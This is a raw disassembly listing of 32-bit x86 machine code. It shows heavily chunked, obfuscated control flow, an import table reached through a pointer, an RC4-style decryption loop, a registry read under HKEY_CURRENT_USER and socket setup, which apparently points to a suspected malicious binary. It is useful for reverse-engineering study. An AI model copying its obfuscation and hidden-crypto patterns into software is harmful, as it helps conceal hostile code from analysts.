sub_9B3FF8	proc near		; CODE XREF: sub_9B43F4-3F2Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AB26C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009ABCEC SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009AE444 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009AE674 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AF9C3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B02B0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B2884 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B527C SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_9B93EC
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	ecx
		pop	edi
		xor	eax, eax
		cmp	edi, 0Eh
		mov	[ebp+var_1C], eax
		mov	esi, edx
		mov	[ebp+var_4], eax
		jb	loc_9B2884
		jmp	off_9B9793
sub_9B3FF8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B403C:				; CODE XREF: sub_9B1F68-6CA8j
		dec	ebx
		mov	[ebp-30h], ebx
		lea	ecx, [ebx+ebx*2]
		lea	ecx, [ebp+ecx*4-250h]
		mov	esi, ecx
		lea	eax, [eax+ebp-250h]
		push	dword ptr [esi]
		pop	edi
		mov	[eax], edi
		mov	edi, [esi+4]
		mov	[eax+4], edi
		push	dword ptr [esi+8]
		pop	esi
		mov	[eax+8], esi
		sub	eax, eax
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		jmp	loc_9B5EE5
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B43F4


loc_9B4078:				; CODE XREF: sub_9B43F4-629j
					; DATA XREF: .text:off_9B91D0o
		test	ah, 7Ch
		jnz	loc_9ACEAF
		jmp	off_9B9414
; END OF FUNCTION CHUNK	FOR sub_9B43F4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B4088:				; CODE XREF: sub_9B63D8-5020j
					; DATA XREF: .text:off_9BAA01o
		inc	ebx
		jmp	loc_9B13A8
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AD3EC


loc_9B4093:				; CODE XREF: sub_9AD3EC+3E84j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9AD3EC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B40B4:				; CODE XREF: sub_9B1F68-5917j
		call	sub_9B2010
		or	eax, eax
		jz	loc_9ACD83
		jmp	off_9B9A29
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B40C8:				; CODE XREF: sub_9B0930-23B1j
		mov	edx, [eax+18h]
		test	edx, edx
		jz	loc_9B23EF
		jmp	off_9B9946
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
		push	edi
		xor	eax, eax
		push	140h
		pop	ecx
		push	off_9BA180
		pop	edi
		rep stosd
		pop	edi
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B40F0:				; CODE XREF: sub_9B63D8-35DCj
					; DATA XREF: .text:off_9BAF2Co
		mov	[ebx+ebp-20FBh], dl
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+8]
		pop	ecx
		push	edx
		lea	edx, [ebp-2188h]
		push	edx
		lea	eax, [ebx+ebp-2118h]
		push	eax
		call	dword ptr [ecx+8]
		and	eax, eax
		jz	loc_9B4696
		jmp	loc_9B5844
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9B4124:				; CODE XREF: sub_9AC32C+F6Ej
					; DATA XREF: .text:off_9B96F0o
		push	0Ch
		pop	edi


loc_9B4127:				; CODE XREF: sub_9AC32C+F68j
					; sub_9AC32C+8D12j
		test	ebp, ebp
		jz	loc_9AEF93
		jmp	loc_9ADE10
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B4134:				; CODE XREF: sub_9AF25C+4927j
					; DATA XREF: .text:off_9B9F66o
		test	byte ptr [ebp-20h], 4
		jz	loc_9AB9D0
		jmp	loc_9B3F50
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B4144:				; CODE XREF: sub_9B649C-A254j
		movzx	ecx, word ptr [esi+eax]
		mov	[ebp+var_20], ecx
		add	eax, 2
		cmp	ecx, edx
		mov	[ebp+var_1C], eax
		jz	loc_9ACCD8
		jmp	off_9B96A3
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B4160:				; CODE XREF: sub_9AF030+6717j
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	edi
		push	edi
		push	eax
		mov	eax, dword_9BBF9C[esi]
		push	eax
		call	dword ptr [edx+78h]
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	edi
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		push	[ebp+arg_8]
		pop	ecx
		push	ecx
		mov	eax, dword_9BBF9C[esi]
		push	eax
		call	dword ptr [edx+70h]
		or	eax, eax
		jz	loc_9AC62B
		jmp	off_9B89BE
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B41A4:				; CODE XREF: sub_9B63D8-ADB1j
		push	dword ptr [ebp-2124h]
		pop	ebx


loc_9B41AB:				; CODE XREF: sub_9B63D8-1620j
		cmp	ebx, 23h
		jl	loc_9AC5C0
		jmp	loc_9ACB60
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B41BC:				; CODE XREF: sub_9B0930-9j
					; DATA XREF: .text:off_9B9F0Bo
		push	off_9B8949
		mov	ecx, [eax]
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx+18h]
		mov	[ecx+0Ch], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx+18h]
		push	dword ptr [eax+0Ch]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B4D3C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0734


loc_9B41F0:				; CODE XREF: sub_9B0734+1Ej
					; DATA XREF: .text:off_9B9703o
		xor	ecx, ecx
		push	esi
		pop	edx
		mov	[edx], ecx
		mov	[edx+4], ecx
		mov	[edx+8], ecx
		mov	[edx+0Ch], ecx
		mov	word ptr [esi],	2
		mov	[esi+4], ecx
		mov	eax, dword_9BCB74
		mov	[esp+8+var_4], 10h
		mov	ecx, [eax+10h]
		push	0
		call	dword ptr [ecx+8]
		lea	ecx, [esp+8+var_4]
		push	ecx
		push	[esp+0Ch+arg_0]
		pop	ecx
		mov	[esi+2], ax
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		push	[esp+0Ch+arg_4]
		pop	edx
		push	esi
		push	0
		push	edx
		push	ecx
		push	edi
		call	dword ptr [eax+3Ch]
		or	eax, eax
		jge	loc_9B4D48
		jmp	off_9B8DE3
; END OF FUNCTION CHUNK	FOR sub_9B0734
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B4254:				; CODE XREF: sub_9B1F68+391Dj
		test	al, 10h
		jz	loc_9B0C90
		jmp	off_9B88A2
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B327C


loc_9B4264:				; CODE XREF: sub_9B327C-816Ej
					; sub_9B327C-58Ej ...
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_9B327C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B426C:				; CODE XREF: sub_9B0930-4C4Bj
		push	off_9B9FD0
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		mov	[edx+5Ch], eax
		push	dword_9BCB74
		pop	eax
		mov	eax, [eax]
		push	dword ptr [eax+5Ch]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B8998
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
		sub	ebx, ebx
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B42AC:				; CODE XREF: sub_9B4950-2FFDj
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	ebx
		call	dword ptr [edx+60h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		sub	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9B42D0:				; CODE XREF: sub_9B03E8+26F7j
		sub	esi, esi
		jmp	loc_9B2B51
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B42D8:				; CODE XREF: sub_9ADAC4+78Aj
					; sub_9ADAC4+311Fj
		push	edi
		xor	edx, edx
		call	sub_9B5CDC
		test	eax, eax
		jnz	loc_9B4EB8
		jmp	loc_9AAEC8
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9B42F0:				; CODE XREF: sub_9B5904-93AEj
					; sub_9B5904-1A14j
					; DATA XREF: ...
		lea	edx, [esi+esi*4]
		mov	dword_9BEC20[edx*8], 1
; END OF FUNCTION CHUNK	FOR sub_9B5904
; START	OF FUNCTION CHUNK FOR sub_9AEAAC


loc_9B42FE:				; CODE XREF: sub_9B5904-93B4j
					; sub_9B5904-8975j ...
		push	[ebp+var_24]
		pop	ecx
		inc	ecx
		jmp	loc_9AE890
; END OF FUNCTION CHUNK	FOR sub_9AEAAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B31A8


loc_9B4308:				; CODE XREF: sub_9B31A8+3Cj
		push	dword ptr [esi]
		pop	eax
		cmp	eax, edi
		jz	loc_9B1CBF
		jmp	loc_9B12E0
; END OF FUNCTION CHUNK	FOR sub_9B31A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9B4318:				; CODE XREF: sub_9B2830-1A7j
		sub	eax, eax
		lea	edi, [ebx+8]
		mov	ax, [edi]
		and	ah, ah
		js	loc_9AD190
		jmp	off_9B92BC
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B4330:				; CODE XREF: sub_9B04A8-3CCBj
		mov	dword ptr [ebp-4044h], 0


loc_9B433A:				; CODE XREF: sub_9B04A8-3CD1j
		test	bl, 1
		jz	loc_9AE460
		jmp	off_9B88B7
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B434C:				; CODE XREF: sub_9B04A8-3A66j
					; DATA XREF: .text:off_9BAB52o
		sub	eax, eax
		mov	[ebp-4044h], eax


loc_9B4354:				; CODE XREF: sub_9B04A8+232Aj
		mov	[ebp-4040h], eax
		cmp	eax, 3
		jge	loc_9ADA08
		jmp	off_9B9151
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B436C:				; CODE XREF: sub_9B1F68-370Fj
		lea	eax, [edi+edi*2]
		shl	eax, 2
		lea	ecx, [eax+ebp-248h]
		cmp	dword ptr [ecx], 0
		jz	loc_9B2640
		jmp	loc_9B0DD8
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9B4388:				; CODE XREF: sub_9B5904-4655j
					; DATA XREF: .text:off_9B8DE7o
		lea	ecx, [eax+eax*4]
		push	dword_9BEC1C[ecx*8]
		pop	edx
		test	edx, edx
		jnz	loc_9AF6B8
		jmp	off_9B975D
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
		align 4


loc_9B43A4:				; CODE XREF: .text:009B11ADj
					; DATA XREF: .text:off_9B9860o
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AE400


loc_9B43AB:				; CODE XREF: sub_9AE400-22Fj
					; sub_9AE400+14FCj ...
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_1C]
		pop	eax
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9AE400
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B27D8


loc_9B43CC:				; CODE XREF: sub_9B27D8+Dj
					; DATA XREF: .text:off_9B9E5Eo
		push	edx
		pop	ecx
		mov	esi, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		push	off_9B8ED2
		jmp	off_9B8D69
; END OF FUNCTION CHUNK	FOR sub_9B27D8
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B43F4	proc near		; CODE XREF: sub_9B3864+84p
					; sub_9B1D80+1F8Ap

; FUNCTION CHUNK AT 009ACEAF SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009AD544 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009AE794 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009AF974 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009B04C0 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009B3B10 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B3DB4 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B4078 SIZE 0000000F BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA38C
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		sub	eax, eax
		mov	[ebp-18h], esp
		mov	ebx, ecx
		mov	[ebp-1Ch], eax
		mov	[ebp-4], eax
		push	dword ptr [ebp+10h]
		pop	eax
		mov	edi, [eax+4]
		call	sub_9AEDD0
		or	eax, eax
		jnz	loc_9ACEAF
		jmp	off_9BACDC
sub_9B43F4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B4444:				; CODE XREF: sub_9B1A08-2644j
		imul	eax, edi
		shl	eax, 1
		push	eax
		pop	ecx
		mov	eax, 51EB851Fh
		imul	ecx
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		lea	edx, [eax+edx+0Fh]


loc_9B445E:				; CODE XREF: sub_9B1A08+466Bj
		mov	[ebp+var_41FC],	edx
		push	[ebp+var_41F4]
		pop	ecx
		push	ecx
		call	sub_9B5CDC
		or	eax, eax
		jnz	loc_9ADD8C
		jmp	loc_9B61E4
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B4480	proc near		; CODE XREF: sub_9AEC20-3501p
					; sub_9B03E8-3FB4p ...

var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_224		= byte ptr -224h
var_120		= byte ptr -120h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009ABC84 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009AE268 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 009B1530 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 009B2890 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 009B32B0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B3DD8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B46E4 SIZE 0000002C BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B9771
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 324h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	edx
		pop	edi
		push	ecx
		pop	ebx
		xor	esi, esi
		mov	[ebp+var_334], esi
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9BA97F
		call	dword ptr [ecx+18h]
		mov	[ebp+var_4], esi
		lea	edx, [ebp+var_224]
		push	edx
		push	3
		call	sub_9B6078
		add	esp, 8
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_0]
		pop	ecx
		push	ecx
		lea	ecx, [ebp+var_328]
		call	sub_9ABC20
		mov	edx, dword_9BCB74
		mov	eax, [edx+0Ch]
		lea	ecx, [ebp+var_330]
		push	ecx
		push	20019h
		push	esi
		lea	edx, [ebp+var_224]
		push	edx
		push	80000001h
		call	dword ptr [eax+20h]
		and	eax, eax
		jnz	loc_9AE288
		jmp	loc_9B1530
sub_9B4480	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B4530:				; CODE XREF: sub_9B04A8-44FDj
					; DATA XREF: .text:off_9BA60Do
		mov	dx, [ebp-402Ah]
		cmp	dx, [eax+12h]
		jz	loc_9ADA08
		jmp	loc_9B27C0
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AD97C


loc_9B454B:				; CODE XREF: sub_9AD97C-17EBj
					; sub_9AD97C+3CC6j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	off_9BADC8
		call	dword ptr [ecx+1Ch]
		mov	eax, [ebp-20h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_9AD97C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B457C:				; CODE XREF: sub_9B4950-21C6j
					; DATA XREF: .text:off_9B9388o
		cmp	dword_9BEC20[edi], ebx
		jz	loc_9AEF3A
		jmp	off_9B8EFC
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9B4590:				; CODE XREF: sub_9B2830+2324j
					; DATA XREF: .text:off_9B9641o
		push	edi
		lea	edx, [ebx+esi]
		push	edx
		call	sub_9AB11C
		add	esi, edi
		mov	[ebp-1Ch], esi
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9B4901
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B45AC	proc near		; CODE XREF: sub_9B63D8:loc_9AB558p
					; sub_9B2830:loc_9ABEF0p ...
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	esi
		push	off_9B8ED2
		call	dword ptr [ecx+18h]
		mov	eax, off_9B97DD
		call	sub_9AD7A4
		push	dword_9BCB74
		pop	edx
		mov	esi, eax
		mov	eax, [edx]
		push	off_9B8ED2
		call	dword ptr [eax+1Ch]
		mov	eax, esi
		pop	esi
		retn
sub_9B45AC	endp

; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B57B4


loc_9B45E4:				; CODE XREF: sub_9B57B4-4686j
		push	[ebp+var_24]
		pop	ecx
		push	ecx
		call	dword ptr [eax+8]


loc_9B45EC:				; CODE XREF: sub_9B57B4-8FBFj
		push	128h
		lea	edx, [ebp+var_144]
		push	edx
		push	off_9B97DD
		pop	eax
		call	sub_9B5100
		add	esp, 8
		jmp	loc_9B4BAB
; END OF FUNCTION CHUNK	FOR sub_9B57B4
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B4610	proc near		; CODE XREF: sub_9B4FD0-7CB6p
					; .text:009B119Ap ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AB447 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009AE4EC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009AF228 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B0AC0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009B35CC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009B4ABC SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B90DD
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, ecx
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	off_9BA623
		call	dword ptr [ecx+18h]
		sub	edi, edi
		mov	[ebp+var_4], edi


loc_9B4654:				; CODE XREF: sub_9B4610-53E0j
		mov	[ebp+var_1C], edi
		cmp	edi, 40h
		jge	loc_9AB447
		jmp	off_9BB048
sub_9B4610	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B4668:				; CODE XREF: sub_9B63D8-B72j
		mov	edx, [ebp-216Ch]
		add	edx, 2AC18000h
		push	dword ptr [ebp-2168h]
		pop	eax
		adc	eax, 0FE624E21h
		push	0
		push	989680h
		push	eax
		push	edx
		call	__aulldiv
		mov	ecx, [ebp-2154h]
		mov	[ecx], eax


loc_9B4696:				; CODE XREF: sub_9B63D8-22C1j
					; sub_9B63D8-B78j
		mov	byte ptr [ebx+ebp-20FBh], 0Dh


loc_9B469E:				; CODE XREF: sub_9B63D8-7BABj
					; sub_9B63D8-35E2j
		inc	ebx
		jmp	loc_9AB615
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B46A4:				; CODE XREF: sub_9B1D80-5B51j
		cmp	dword ptr [ebp+14h], 11h
		jnz	loc_9AB0A2
		jmp	off_9B98EA
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B46B4:				; CODE XREF: sub_9AF25C-1690j
		push	esi
		pop	edx
		call	sub_9AF654
		or	eax, eax
		jz	loc_9AB8D1
		jmp	off_9B8DD4
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B46CC	proc near		; CODE XREF: sub_9B4950:loc_9AD3C4p
					; sub_9B1A08-442Bp ...

; FUNCTION CHUNK AT 009AC908 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009AEEC4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B2424 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B2C00 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B5D64 SIZE 0000000B BYTES

		push	dword_9BEC18
		pop	eax
		test	eax, eax
		jz	loc_9AC908
		jmp	off_9BA703
sub_9B46CC	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4480


loc_9B46E4:				; CODE XREF: sub_9B4480-11C4j
		mov	esi, 1
		mov	[ebp+var_334], esi


loc_9B46EF:				; CODE XREF: sub_9B4480-1BC3j
					; sub_9B4480-11CAj
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+0Ch]
		mov	eax, [ebp+var_330]
		push	eax
		call	dword ptr [edx+14h]


loc_9B4703:				; CODE XREF: sub_9B4480-87D6j
		and	esi, esi
		jz	loc_9AEA28
		jmp	sub_9AD1A4
; END OF FUNCTION CHUNK	FOR sub_9B4480
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9B4710:				; CODE XREF: sub_9ABD30+A067j
					; DATA XREF: .text:off_9BAA0Do
		lea	edi, [eax+2]


loc_9B4713:				; CODE XREF: sub_9ABD30+1889j
		cmp	esi, edi
		jnz	loc_9ABD3E
		jmp	off_9BA7FA
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B4724	proc near		; CODE XREF: sub_9AB95C+11j

; FUNCTION CHUNK AT 009B05EC SIZE 00000002 BYTES

		push	ebx
		push	edi
		mov	edi, edx
		sub	edi, esi


loc_9B472A:				; CODE XREF: sub_9B4724+53j
		mov	cl, [eax]
		mov	bl, [eax+1]
		inc	cl
		mov	[eax], cl
		movzx	ecx, cl
		mov	dl, [eax+ecx+2]
		lea	ecx, [eax+ecx+2]
		add	bl, dl
		mov	[eax+1], bl
		mov	dl, bl
		mov	bl, [ecx]
		movzx	edx, dl
		mov	dl, [eax+edx+2]
		mov	[ecx], dl
		movzx	ecx, byte ptr [eax+1]
		mov	[eax+ecx+2], bl
		movzx	ecx, byte ptr [eax]
		movzx	edx, byte ptr [eax+1]
		mov	dl, [eax+edx+2]
		add	dl, [eax+ecx+2]
		mov	bl, [esi+edi]
		movzx	ecx, dl
		mov	dl, [eax+ecx+2]
		xor	dl, bl
		mov	[esi], dl
		inc	esi
		dec	ebp
		jnz	short loc_9B472A
		jmp	loc_9B05EC
sub_9B4724	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B14CC


loc_9B4783:				; CODE XREF: sub_9B14CC+3Ej
					; sub_9B14CC+2811j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B14CC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B47A0:				; CODE XREF: sub_9B1A08-4272j
		mov	[ebp+var_41E0],	0
		jmp	loc_9AF398
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B47B0:				; CODE XREF: sub_9B4950-3C8j
					; DATA XREF: .text:off_9B8EFCo
		cmp	dword_9BEC24[edi], ebx
		jnz	loc_9B0D64
		jmp	loc_9B2A4C
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B47C4:				; CODE XREF: sub_9ACEE8+5452j
		call	sub_9B227C
		sub	eax, [ebp-0B8h]
		cmp	eax, 1Eh
		jbe	loc_9B34B9
		jmp	loc_9B2C9C
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 10h
